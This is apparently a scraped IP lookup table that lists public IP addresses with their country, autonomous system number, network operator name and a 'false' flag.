 unknown United States
14319 FURMAN-2US false
68.128.107.44
 unknown United States
23148 TERRENAPUS false
84.136.128.136
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
37.90.202.193
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
33.66.95.206
 unknown United States
2686 ATGS-MMD-ASUS false
160.39.248.183
 unknown United States
14 COLUMBIA-GWUS false
89.4.160.189
 unknown Saudi Arabia
34397 CYBERIA-RUHCyberiaRiyadhAutonomousSystemSA false
51.195.175.186
 unknown France
16276 OVHFR false
163.253.64.145
 unknown United States
210 WEST-NET-WESTUS false
178.147.7.248
 unknown Greece
6799 OTENET-GRAthens-GreeceGR false
148.65.175.130
 unknown United States
396982 GOOGLE-PRIVATE-CLOUDUS false
141.236.86.1
 unknown United States
5972 DNIC-ASBLK-05800-06055US false
218.31.166.145
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
72.6.208.166
 unknown United States
10507 SPCSUS false
220.6.187.76
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false